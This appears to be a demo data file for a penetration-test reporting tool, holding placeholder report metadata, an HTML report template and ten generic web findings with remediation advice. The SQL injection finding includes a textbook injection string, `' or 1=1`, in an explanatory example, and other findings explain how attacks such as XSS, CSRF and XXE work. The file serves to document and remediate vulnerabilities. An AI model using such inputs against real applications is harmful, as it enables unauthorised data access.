feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +![Fancy Methodology Graph](/images/name/image.png) + +* Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. +* Nam liber tempor cum soluta nobis eleifend option congue nihil imperdiet doming id quod mazim placerat facer possim assum. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. +* Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis. + +| System | Description | +|:---|:---| +| 10.0.0.1 | System1 | +| 10.0.0.2 | System2 | +| 10.0.0.3 | System3 | +| 10.0.0.4 | System3 | +""" +customer = "GotBreached Ltd." +duration = "5 person days" +end_date = "2022-04-22" +start_date = "2022-04-18" +report_date = "2022-04-25" +executive_summary = """ +Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + +Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse molestie consequat, vel illum dolore eu feugiat nulla facilisis at vero eros et accumsan et iusto odio dignissim qui blandit praesent luptatum zzril delenit augue duis dolore te feugait nulla facilisi. Lorem ipsum dolor sit amet, consectetuer adipiscing elit, sed diam nonummy nibh euismod tincidunt ut laoreet dolore magna aliquam erat volutpat. + +Ut wisi enim ad minim veniam, quis nostrud exerci tation ullamcorper suscipit lobortis nisl ut aliquip ex ea commodo consequat. Duis autem vel eum iriure dolor in hendrerit in vulputate velit esse +""" + +[report_data.lead_pentester] +name = "Maximus Doe" +email = "m.doe@securitymaximale.com" +phone = "+43 660 123 456 78" + +[[report_data.document_history]] +description = "Draft" +date = "2022-04-22" +authors = [ + "M. Doe", +] +version = "0.1" + +[[report_data.document_history]] +description = "Review" +date = "2022-04-22" +authors = [ + "C. Doe", +] +version = "0.9" + +[[report_data.document_history]] +description = "Final Report" +date = "2022-04-25" +authors = [ + "M. Doe", +] +version = "1.0" + +[[findings]] +id = "c47007b3-bed8-459a-8721-54ddc7f9cb9c" +status = "in-progress" + +[findings.data] +title = "SQL Injection (SQLi)" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" +summary = "The web application processed user input in an insecure manner and was thus vulnerable to SQL injection. In an SQL injection attack, special input values in the web application are used to influence the application's SQL statements to its database. Depending on the database used and the design of the application, this may make it possible to read and modify the data stored in the database, perform administrative actions (e.g., shut down the DBMS), or in some cases even gain code execution and the accompanying complete control over the vulnerable server." +description = """ +We identified an SQL injection vulnerability in the web application and were able to access stored data in the database as a result. + +SQL Injection is a common server-side vulnerability in web applications. It occurs when software developers create dynamic database queries that contain user input. In an attack, user input is crafted in such a way that the originally intended action of an SQL statement is changed. SQL injection vulnerabilities result from an application's failure to dynamically create database queries insecurely and to properly validate user input. They are based on the fact that the SQL language basically does not distinguish between control characters and data characters. In order to use a control character in the data part of an SQL statement, it must be encoded or escaped appropriately beforehand. + +An SQL injection attack is therefore essentially carried out by inserting a control character such as `'` (single apostrophe) into the user input to place new commands that were not present in the original SQL statement. A simple example will demonstrate this process. The following SELECT statement contains a variable userId. The purpose of this statement is to get data of a user with a specific user id from the Users table. + +`sqlStmnt = 'SELECT * FROM Users WHERE UserId = ' + userId;` + +An attacker could now use special user input to change the original intent of the SQL statement. For example, he could use the string `' or 1=1` as user input. In this case, the application would construct the following SQL statement: + +`sqlStmnt = 'SELECT * FROM Users WHERE UserId = ' + ' or 1=1;` + +Instead of the data of a user with a specific user ID, the data of all users in the table is now returned to the attacker after executing the statement. This gives an attacker the ability to control the SQL statement in his own favor. + +There are a number of variants of SQL injection vulnerabilities, attacks and techniques that occur in different situations and depending on the database system used. However, what they all have in common is that, as in the example above, user input is always used to dynamically construct SQL statements. Successful SQL injection attacks can have far-reaching consequences. One would be the loss of confidentiality and integrity of the stored data. Attackers could gain read and possibly write access to sensitive data in the database. SQL injection could also compromise the authentication and authorization of the web application, allowing attackers to bypass existing access controls. In some cases, SQL injection can also be used to gain code execution, allowing an attacker to gain complete control over the vulnerable server. +""" +recommendation = """ +* Use prepared statements throughout the application to effectively avoid SQL injection vulnerabilities. Prepared statements are parameterized statements and ensure that even if input values are manipulated, an attacker is unable to change the original intent of an SQL statement. +* Use existing stored procedures by default where possible. Typically, stored procedures are implemented as secure parameterized queries and thus protect against SQL injections. +* Always validate all user input. Ensure that only input that is expected and valid for the application is accepted. You should not sanitize potentially malicious input. +* To reduce the potential damage of a successful SQL Injection attack, you should minimize the assigned privileges of the database user used according to the principle of least privilege. +* For detailed information and assistance on how to prevent SQL Injection vulnerabilities, see OWASP's linked SQL Injection Prevention Cheat Sheet. +""" +references = [ + "https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet", +] +affected_components = [ + "example.com", +] +short_recommendation = "Make sure that Prepared Statements and Stored Procedures (where possible) are used throughout the application. This prevents the originally intended action of an SQL statement from being manipulated by an attacker." + +[[findings]] +id = "f180672c-d7c0-4057-91c3-8ae0056c7158" +status = "in-progress" + +[findings.data] +title = "Session management weaknesses" +cvss = "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N" +summary = "We were able to identify weaknesses in the web application's session management. The users' sessions were usable without time restrictions and therefore did not require re-authentication at any time. People with access to a computer system could exploit this situation if another user had not explicitly logged out of the application beforehand." +description = """ +We could determine that user sessions were usable without time restrictions. This could allow attackers to take over user sessions that were not explicitly logged out beforehand. + +This could be possible, for example, by allowing a third person to operate a user's computer in which a session is still active. In addition, it could be possible for attackers to reuse session tokens when they become known (e.g. via log files; locally or on proxy servers, etc.). +""" +recommendation = """ +* User sessions in web applications should time out automatically after a certain period of inactivity. +* Depending on the criticality of the user authorization and the application, the timeout could be approximately between one hour and one day. +""" +references = [] +affected_components = [ + "example.com", +] +short_recommendation = "Users should be logged out automatically after a certain period of inactivity." + +[[findings]] +id = "bf6ded8b-e816-476a-a18b-7d76f8f46be4" +status = "in-progress" + +[findings.data] +title = "Untrusted TLS certificates" +cvss = "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N" +summary = "Communication with the application at the transport layer level was not sufficiently protected due to untrusted TLS certificates. TLS is used by many protocols to ensure the confidentiality and integrity of communication between two endpoints. If web browsers do not trust an application's TLS certificate, the application may be vulnerable to man-in-the-middle attacks and thus susceptible to eavesdropping or tampering with traffic. Insufficient protection at the transport layer may allow communications between two parties to be compromised by an untrusted third party. An attacker could thus obtain sensitive data (e.g., credentials) if necessary. In the event of a successful attack, an attacker could gain complete control over all functions and data of the application by compromising a privileged user account." +description = """ +Transport Layer Security (TLS) is the successor to the now obsolete as well as insecure Secure Sockets Layer (SSL) protocol. TLS is a cryptographic protocol developed for secure, encrypted communication between two or more parties. The protocol is used in a wide variety of areas, including e-mail, instant messaging, and voice-over-IP. The best known use of TLS is on the Web, where it ensures secure communication over HTTPS. Primarily, TLS aims to ensure confidentiality, integrity, but also authenticity through the use of certificates, between two or more parties. + +With TLS, the establishment of a secure connection takes place in several steps. Client and server agree on the use of TLS in the first step. This is done either by selecting a specific port (e.g. 443 for HTTP) or by making a protocol-specific request to the server (e.g. STARTTLS for SMTP). A handshake procedure then begins, in which the client and server negotiate various parameters for the security of the communication link. The handshake begins with the client and server agreeing on a respective supported cipher suite, consisting of the symmetric cipher and hash function. The server then issues a digital certificate. The certificate contains, among other things, the server name, the issuing certificate authority (CA), and the server's data asymmetric key. Once the client has verified the validity of the certificate, it generates a symmetric session key for the secure connection. This is done either by the client deriving a key from a random number. The client encrypts the random number with the server's data key and sends the result to the server. The server can use the private key to read the result and also derive the session key. However, the client and server could also use the Diffie-Hellman algorithm to securely agree on a random session key. Diffie-Hellman also offers the advantage of perfect forward secrecy (PFS). PFS prevents subsequent decryption once the server's private key is known. Session keys are not exchanged and thus cannot be reconstructed. + +The security of TLS-secured communication is based primarily on the trustworthiness of the digital certificate. If the trustworthiness is not given, for example because the certificate has expired, it contains an incorrect host name or it is a self-signed certificate, no secure key exchange between two endpoints can be guaranteed from the outset. In some circumstances, the communication between two parties could be compromised by an untrusted third party in the course of a man-in-the-middle attack. For example, an attacker could gain access to sensitive data or inject malicious data into the encrypted data stream to compromise either the client or the server. + +We reviewed the TLS certificates of the applications in scope and found untrusted certificates for the following applications: + +| host | expired | expiring soon | incorrect host name | incomplete certificate chain | self-signed certificate | +|:---:|:---:|:---:|:---:|:---:|:---:| +| example.com:443 | X | - | - | - | | +""" +recommendation = """ +* Acquire new certificates for services that do not have trusted TLS certificates. +* Generate sufficiently strong asymmetric keys with at least 2048 bits for certificates and protect the private key. +* Use only modern cryptographic hash algorithms such as SHA-256.' +* Make sure that the certificate contains the fully qualified name of the server. The following should also be considered when creating the certificate: + * Consider whether the "www" subdomain should also be included. + * Do not include unqualified host names in the certificate. + * Do not include IP addresses. + * Do not include internal domain names. +* Create and use wildcard certificates only when there is a real need. Do not use wildcard certificates for convenience. +* Choose an appropriate certificate authority that is trusted by all major browsers. For internal applications, an internal CA can be used. However, ensure that all users have imported the internal CA certificate and thus trust certificates issued by that CA. +* Check the TLS configuration, including certificates, at regular intervals and adjust as necessary. There are a number of online tools (such as SSLabs, sslyze, etc) that you can use to quickly perform the check. +* For more information and help on TLS certificates, see the linked Transport Layer Protection Cheat Sheet from OWASP. +""" +references = [ + "https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html", +] +affected_components = [ + "example.com", +] +short_recommendation = "Ensure that TLS certificates used are universally valid and trusted. Acquire new certificates for the affected services, if necessary. Also, follow best practices recommendations for secure TLS server configuration." + +[[findings]] +id = "67712378-a0f7-444c-8c12-052f3d11af29" +status = "in-progress" + +[findings.data] +title = "User Enumeration" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" +summary = "The web application was vulnerable to a user enumeration vulnerability. User enumeration is a common vulnerability in web applications that occurs when an attacker can use brute force techniques to determine valid user accounts in a system. Although user enumeration is a low risk in itself, it still provides an attacker with valuable information for follow-up attacks such as in brute force and credential stuffing attacks or in social engineering campaigns." +description = """ +We were able to identify a user enumeration vulnerability in the web application, allowing us to determine valid user accounts using brute force techniques. + +Often, as a result of a faulty configuration or design decision, web applications indicate when a user already exists in the system. Two of the most common areas where this occurs are the login page or the "forgot password" feature of a web application. One example is when a user enters incorrect credentials, they receive information that the password they entered was incorrect. The information obtained can now be used by an attacker to determine whether or not a particular username already exists. By trial and error, an attacker can use it to determine a list of valid usernames. + +Once an attacker has such a list, they can address these user accounts in new attacks to obtain valid credentials. In its simplest form, an attacker could perform a brute force attack. In this, an attacker tries to guess a user account's credentials by automatically trying through passwords. Often very large word lists containing frequently used passwords are used for this purpose. An attacker could also use determined usernames to search past data leaks for passwords. Credentials from data leaks, consisting of pairs of usernames and passwords, can be reused by an attacker in an automated attack. This particular form of brute force attack, is also known as credential stuffing. Alternatively, an attacker can use usernames in the course of social engineering campaigns to contact users directly. +""" +recommendation = """ +* Ensure that the web application always returns generic error messages when invalid usernames, passwords, or other credentials are entered. Identifies all relevant attack surfaces of the application for this purpose. +* If the application defines usernames itself, user enumeration can be effectively prevented. The prerequisite for this is that user names are randomly generated so that they cannot be guessed. +* The application can also use email addresses as usernames. If the username is not yet registered, an email message will contain a unique URL that can be used to complete the registration process. If the username exists, the user receives an email message with a URL to reset the password. In either case, an attacker cannot infer valid user accounts. +* As an additional security measure, you could delete default system accounts as well as test accounts or rename them before releasing the system to production. +""" +references = [] +affected_components = [ + "example.com", +] +short_recommendation = "Identify all application attack surfaces relevant to User Enumeration and ensures that the web application always returns generic error messages when invalid credentials are entered." + +[[findings]] +id = "6d1c9b16-a9f7-487e-a3d2-e23e61afcfa3" +status = "in-progress" + +[findings.data] +title = "Incorrectly configured HTTP security headers" +cvss = "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N" +summary = "The web application did not have important HTTP security headers set or they were configured insecurely. HTTP security headers are a good way to increase the security of a web application. They can help make vulnerabilities such as cross-site scripting, clickjacking, information disclosure, and others more difficult or even prevent them altogether. Without proper HTTP security headers, the potential attack surface of a web application is larger and makes it easier for an attacker to exploit client-side vulnerabilities." +description = """ +We checked the HTTP security headers of the examined web application. The following table provides an overview of which headers were set correctly and which were not: + +| Host | Content-Security Policy (CSP) | Referrer-Policy | HTTP-Strict-Transport-Security HSTS) | X-Content-Type-Options | X-Frame-Options | Permissions-Policy | X-XSS-Protection | +|:---:|:---:|:---:|:---:|:---:|:---:|:---:|:---:| +| example.com | - | - | X | - | - | - | + +Modern browsers support several HTTP security headers that can increase the security of web applications against client-side vulnerabilities such as clickjacking, cross-site scripting, and other common attacks. HTTP Security headers are response headers that specify whether and which security measures should be enabled or disabled in the web browser. These HTTP headers are exchanged between a browser and a server and specify the security-related details of HTTP communication. Below is a brief description and overview of the most important current HTTP security headers: + +* **Content Security Policy**. +The Content Security Policy (CSP) HTTP header allows fine-grained control over what resources a browser is allowed to obtain resources from. The CSP header is a very effective measure to prevent the exploitation of cross-site scripting (XSS) vulnerabilities. + +* **Referrer Policy**. +The `Referrer-Policy` header determines how and when browsers transmit the HTTP Referer (sic) header. In the Referer header, a browser informs a target page about the origin of an HTTP request, for example, when a user navigates to a specific page via a link or loads an external resource. + +* **HTTP Strict Transport Security (HSTS)**. +With the HSTS header, a web page instructs the browser to connect only over HTTPS. All unencrypted HTTP requests are transparently redirected in the process. TLS and certificate-related errors are also handled more strictly by preventing users from bypassing the error page. + +* **X-Content-Type-Options**. +The `X-Content-Type-Options` header specifies that browsers will only load scripts and stylesheets if the server specifies the correct MIME type. Without this header, there is a risk of MIME sniffing. This means that browsers will misrecognize files as scripts and stylesheets, which could lead to XSS attacks. + +* **X-Frame-Options** +`X-Frame-Options` are used to determine if and in which form the web page can be embedded in an iframe. Clickjacking is a viable attack that can exploit such embedding in an `iframe`. In such an attack, an attacker overlays the rendering of a legitimate page to then cause users to perform seemingly innocuous interactions (e.g., mouse clicks and/or keystrokes). + +* **Permissions policy** +Permissions policy allows web developers to selectively enable, disable, and modify the behavior of certain features and APIs in the browser. `Permissions-Policy` is similar to Content Security Policy, but controls specific functions of the browser rather than security behavior. + +* **X-XSS-Protection** +`X-XSS-Protection` is a feature that prevents pages from loading when a browser detects Reflected Cross-Site Scripting (XSS) attacks. This header is obsolete when using modern browsers, provided that a secure content security policy has been defined. +""" +recommendation = """ +* Do not allow the web page to be included in a frame. Set `X-Frame-Options: DENY` for this. Alternatively you can restrict this setting to the same-origin with `X-Frame-Options: SAMEORIGIN`. +* Set the header `X-XSS-Protection` explicitly with `X-XSS-Protection: 1; mode=block`. +* Prevent the browser from guessing the MIME type based on the content of the resource. Sets the `X-Content-Type-Options` header with the `nosniff` option. +* Restrict the `referrer policy` to prevent potentially sensitive information from being exposed to third party sites. You should define the header as follows: `Referrer-Policy: strict-origin-when-cross-origin`. +* Configure the `Strict-Transport-Security` header so that your web application can only be accessed over a secured HTTPS connection. You should set the header like this: `Strict-Transport-Security: max-age=63072000; includeSubDomains; preload`. +* If possible, define a Content Security Policy (CSP) for your web application CSP is an additional security measure that can make it much more difficult to exploit client-side vulnerabilities. Details on how to configure it securely can be found in the resources. +* Restrict the use of sensitive browser features such as the camera, microphone or speaker using 'Permissions Policy' headers. +""" +references = [ + "https://infosec.mozilla.org/guidelines/web_security#content-security-policy", +] +affected_components = [ + "example.com", +] +short_recommendation = "Follow best practices recommendations for configuring HTTP security headers and implement them for your web application if possible." + +[[findings]] +id = "f3e5a80c-33f8-499b-b88f-9ddcd921b660" +status = "in-progress" + +[findings.data] +title = "Disclosure of sensitive data in URL parameters" +cvss = "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N" +summary = "The web application sent sensitive data as URL parameters in HTTP requests. Data sent as URL parameters is stored in the browser cache and can potentially appear in various other places such as web server logs, referer headers or shared systems. Third parties could thus gain access to this sensitive data." +description = """ +The application sent sensitive data in the URL parameter "motiondata": +This could expose the data in the following places: +* Referer Header +* Web Logs +* Shared Systems +* Browser History +* Browser Cache +* Shoulder Surfing +""" +recommendation = """ +* The application should send all sensitive data in the body of an HTTP message, e.g. in the body of a POST request. +* Furthermore, the transmission should be secured via encrypted communication via HTTPS. +""" +references = [] +affected_components = [ + "example.com", +] +short_recommendation = "To protect sensitive data from access by third parties, it should be sent in the body of an HTTP message, e.g. via POST request." + +[[findings]] +id = "d1c186e8-c01e-48e9-8d22-b8faff441030" +status = "in-progress" + +[findings.data] +title = "Cross-Site Request Forgery (CSRF)" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N" +summary = "The web application was vulnerable to Cross-Site Request Forgery (CSRF). CSRF is an attack that causes users to unknowingly send an HTTP request to a web application to which they are currently authenticated. Attackers can thereby partially bypass a web browser's same-origin policy and perform state-changing actions in the context of an affected user. Depending on the nature of the action, the attacker can gain complete control over the user's account. If the user account is administrative, CSRF may also be able to compromise the entire web application." +description = """ +We identified a CSRF vulnerability in the web application, allowing them to perform actions in the context of another user. + +Cross-site request forgery (CSRF) is a web security vulnerability in which an attacker can trick an authenticated user into unknowingly sending a state-changing HTTP request to the vulnerable web application. In CSRF, an attacker assumes the victim's identity and access privileges to perform unwanted actions (e.g., change email address) on their behalf. Without appropriate CSRF protection, the web application has no way to distinguish between a request prepared by the attacker and a legitimate request from the victim. + +Several prerequisites must be in place for a CSRF attack to take place. First, there must be an action in the web application that is relevant to an attacker and makes sense to exploit. For example, this could be a privileged action, such as changing a user's access permissions or changing a password. Another requirement is that there is no other mechanism besides cookie-based authentication to distinguish HTTP requests from different users. If the user is authenticated and thus has a valid session cookie, the web application thus has no way to distinguish between a malicious, subverted request from the attacker and a legitimate request from the victim. Last, it must be ensured that actions do not require specific parameters whose values an attacker cannot determine or predict. For example, if a user is asked to change his password, the function is not vulnerable if an attacker needs to know the value of the existing password. + +A common way to exploit CSRF vulnerabilities is through phishing emails. An attacker does this by preparing malicious links with the intention of foisting a state-changing request on the victim. The attacker then distributes the malicious links to victims via email. When a user opens the link in a web browser and is authenticated to it, the request is sent to the vulnerable web application. If successful, the attack causes an action with the victim's identity and privilege level. +""" +recommendation = """ +* Check if the framework has built-in CSRF protection and use it. If not, ensure that all state-changing requests contain a randomly generated CSRF token with high entropy. Also ensure that CSRF tokens are properly validated on the backend. +* Consider various additional security measures: + * For example, set the SameSite attribute for session cookies. Web browsers decide whether to include cookies in cross-site requests based on this attribute. + * Use Custom Request Headers. By default, the browser's same-origin policy restricts JavaScript from submitting cross-site requests with custom request headers. + * For highly sensitive actions, user interactions such as CAPTCHAs, one-time tokens, re-authentication, etc. can also be considered as additional CSRF protection. +* Detailed information and assistance on how to prevent CSRF vulnerabilities can be found in the linked Cross-Site Request Forgery Cheat Sheet from OWASP. +""" +references = [ + "https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html", +] +affected_components = [ + "example.com", +] +short_recommendation = "Make sure that randomly generated CSRF tokens with high entropy are included in all state-changing HTTP requests and validated in the backend." + +[[findings]] +id = "953dcad1-712c-4812-86bc-a4b584eb6e75" +status = "in-progress" + +[findings.data] +title = "Stored Cross-Site Scripting (XSS)" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N" +summary = """ +At the time of testing, the web application stored user input unchecked and later included it in HTTP responses in an insecure manner. It was thus vulnerable to stored cross-site scripting (XSS) attacks. +Exploitation of Stored XSS vulnerabilities does not require user interaction, making them more dangerous than Reflected XSS vulnerabilities. +""" +description = """ +We were able to identify a stored XSS vulnerability in the web application during testing. Due to incorrect validation and encoding of data, we were able to inject malicious scripts into the web application and store them persistently. + +Cross-site scripting (XSS) is a common web security vulnerability where malicious scripts can be injected into web applications due to insufficient validation or encoding of data. In XSS attacks, attackers embed JavaScript code in the content delivered by the vulnerable web application. + +The goal in stored XSS attacks is to place script code on pages visited by other users. Simply visiting the affected subpage is enough for the script code to be executed in the victim's web browser. + +For an attack, malicious scripts are injected into the web application by the attacker and stored and included in subsequent HTTP responses of the application. The malicious script is ultimately executed in the victim's web browser and can potentially access cookies, session tokens or other sensitive information. + +If the attack is successful, an attacker gains control over web application functions and data in the victim's context. If the affected user has privileged access, an attacker may be able to gain complete control over the web application. +""" +recommendation = """ +* Ensure that all processed data is filtered as rigorously as possible. Filtering and validation should be done based on expected and valid inputs. +* Data should be encoded before the web application includes it in HTTP responses. Encoding should be done contextually, that is, depending on where the web application inserts data in the HTML document, the appropriate encoding syntax must be considered. +* The HTTP headers `Content-Type` (e.g. `text/plain`) and `X-Content-Type-Options: nosniff` can be set for HTTP responses that do not contain HTML and JavaScript. +* We recommend to additionally use a Content Security Policy (CSP) to control which client-side scripts are allowed and which are forbidden. +* Detailed information and help on preventing XSS can be found in the linked Cross-Site Scripting Prevention Cheat Sheet from OWASP. +""" +references = [ + "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html", +] +affected_components = [ + "example.com", +] +short_recommendation = "User input should be validated and filtered based on expected or valid input. It should be ensured that data is properly encoded contextually before it is included in HTTP responses." + +[[findings]] +id = "2b96edd4-aaaf-4ef5-a809-9479d840971e" +status = "in-progress" + +[findings.data] +title = "XML External Entity Injection (XXE)" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" +summary = "The web application processed XML documents in an insecure manner, which made it vulnerable to XML External Entity (XXE) Injection attacks. XXE Injection is a vulnerability in web applications that allows an attacker to interfere with the processing of XML documents by an XML parser. This attack can lead to disclosure of confidential data, denial of service, server-side request forgery, and other severe impact on the underlying system or other backend systems." +description = """ +We identified an XXE injection vulnerability in the web application. The XML parser allowed the definition of XXEs, which could create a malicious XML document. The XXE contained a URL that referenced an external domain. After the XXE was dereferenced by the parser, the web application interacted with this domain, which is evident from the DNS requests. + +Extensible Markup Language (XML) is a standardized markup language and file format for storing, transmitting, and reconstructing arbitrary data. The language encodes data in a format that is readable by both humans and machines. The structure of an XML document is defined in the XML standard. The standard provides for a concept called an entity. Entities provide the ability to reference content that is provided remotely by a server or resides locally on the server. When the XML parser evaluates the XML document, the entity it contains is replaced with the referenced value. Entities are defined in so-called Document Type Definitions (DTDs). + +DTDs define the structure and composition of an XML document. They can either be completely contained in the XML document itself, so-called internal DTDs, or they can be loaded from another location, so-called external DTDs. A combination of both variants is also possible. XML External Entities (XXE) are a special form of XML entities whose contents are loaded from outside the DTD in which they are declared. + +An XXE is declared in the DTD with the SYSTEM keyword and a URI from where the content should be loaded. For example: + +` ]>` + +The URI can also use the `file://` protocol scheme. Content can be loaded from local files as a result. For example: + +` ]>` + +When evaluating XML documents, the XML parser replaces occurring XXEs with the contents by dereferencing the defined URIs. If the URI contains manipulated data, this could have serious consequences. An attacker can exploit this to perform server-side request forgery (SSRF) attacks and compromise the underlying server or other backend infrastructure. XXE injection vulnerabilities can also be exploited to cause service/application downtime (denial of service) or expose sensitive data such as local system files. +""" +recommendation = """ +* The XML parser should be configured to use a local static DTD and not allow external DTDs declared in the XML document. +* We recommend limiting the functions of the XML parsing library to the minimum needed (see the documentation of the library used). +* User input should be validated before parsing if possible. +* Detailed information and help on preventing XXE injections can be found in the linked XML External Entity Prevention Cheat Sheet from OWASP. +""" +references = [ + "https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html", +] +affected_components = [ + "example.com", +] +short_recommendation = "Disable support for external DTDs in the XML parsing library." + +[[findings]] +id = "7f1953a3-cd56-43dc-a5bc-bc6b2a07fc62" +status = "in-progress" + +[findings.data] +title = "Insecure HTTP cookies" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" +summary = "The issued HTTP cookies of the web application did not have the _HttpOnly_ and/or the _Secure_ cookie attribute set. If the _HttpOnly_ attribute is not set, the affected cookie can be read or modified client-side using JavaScript. If the _Secure_ attribute is not set, browsers also send the cookie over unencrypted HTTP connections. Insecurely configured cookies such as session cookies expand the potential attack surface of a web application. They make it easier for an attacker to exploit client-side vulnerabilities such as cross-site scripting (XSS) or compromise sessions by trivially intercepting cookies." +description = """ +HTTP is a stateless protocol, which means that it cannot distinguish requests from different users without an additional mechanism. To address this problem, it requires a session mechanism. The most commonly used mechanism for managing HTTP sessions in browsers is cookie storage. An HTTP cookie is a small record that a server sends to a user's web browser. The browser can store the cookie and send it back to the same server for subsequent requests. This can be used to implement sessions for the stateless HTTP protocol. An HTTP cookie can be used to distinguish requests from different users and to keep users logged in. + +Cookies thus represent a frequent target for attackers. A web application should therefore harden the configuration of all sensitive cookies. This can be achieved by setting the _Secure_ and _HttpOnly_ cookie attributes. A cookie with the _Secure_ attribute will only be sent to the server over HTTPS connections and never over an unsecured HTTP connection. A cookie with the _HttpOnly_ attribute set is inaccessible to JavaScript and thus helps mitigate cross-site scripting (XSS) attacks. +If an attacker is able to tap sensitive cookies such as session cookies, the attacker could take over user accounts and perform actions in the context of affected users. An attacker may also be able to gain complete control over all web application functions and data if they take over a user account with privileged access. + +Auditors reviewed the set attributes of sensitive HTTP cookies of the web application. The following table provides an overview of the set attributes: + +| Cookie | Secure | HttpOnly | +|:---:|:---:|:---:| +| PHPSESSID | - | - | +""" +recommendation = """ +* Set the _Secure_ attribute for sensitive cookies. This attribute instructs a browser to send the cookie only over an encrypted HTTPS connection to prevent session ID disclosure through man-in-the-middle attacks. +* If possible, also set the _HttpOnly_ attribute for sensitive cookies. This attribute prevents the cookie from being accessed client-side via JavaScript. This can make session hijacking by XSS attacks more difficult. +""" +references = [] +affected_components = [ + "example.com", +] +short_recommendation = "Make sure that the configuration of all sensitive cookies is hardened and thus important cookie attributes like HttpOnly or Secure are set." + +[project_type] +format = "projecttypes/v1" +id = "47bb9735-b741-4ca8-a6db-a9166947732e" +name = "Demo Margherita v1.1" +language = "en-US" +finding_field_order = [ + "title", + "cvss", + "summary", + "short_recommendation", + "affected_components", + "description", + "recommendation", + "references", + "retest_status", + "retest_notes", +] +report_template = """ + + +
+
+ +
+ + + +
+

{{ report.title }}

+
+ +
+

+ Customer:
+ {{ report.customer }}
+ {{ report.report_date }}
+ v + +

+
+ +
+ Contact:
+ {{ report.lead_pentester.name }}
+ {{ report.lead_pentester.phone }}
+ {{ report.lead_pentester.email }} +
+
+ + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + +
+

Executive Summary

+ +
+ + +
+

Methodology and Scope

+ +
+ + +
+

Vulnerability Overview

+

+ In the course of this penetration test + + + + + + + + vulnerabilities were identified: +

+ +
+ +
Distribution of identified vulnerabilities
+
+ + + + + + + + + + + + + + + + +
VulnerabilityCriticalityRemediation Status
+ {{ finding.title }} + + {{ lodash.capitalize(finding.cvss.level) }} + + {{ finding.retest_status.label }} +
+ +
+ + +
+
+

{{ finding.title }}

+
+ + Criticality: {{ capitalize(finding.cvss.level) }}
+ CVSS-Score: + + {{ finding.cvss.score}} + {{ finding.cvss.score }} + {{ finding.cvss.score }} +
+ + +
+ +
+

Overview

+ +
+ +
+

Remarks on Remediation Status

+ +
+ +
+

Description

+ +
+ +
+

Recommendation

+ +
+ +
+

Additional Information

+ +
+ + +
+
+ + +
+

List of Changes

+ + + + + + + + + + + + + + + + + +
VersionDateDescriptionAuthor
{{ item.version }}{{ item.date }}{{ item.description }} + + + +
+
+ + + # Disclaimer {#disclaimer .in-toc} + + Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. + + + + # Imprint {#imprint .in-toc} + + Security Maximale GmbH
+ Example Street 47 | 4711 Example
+ FN 12345 v | District Court Example
+
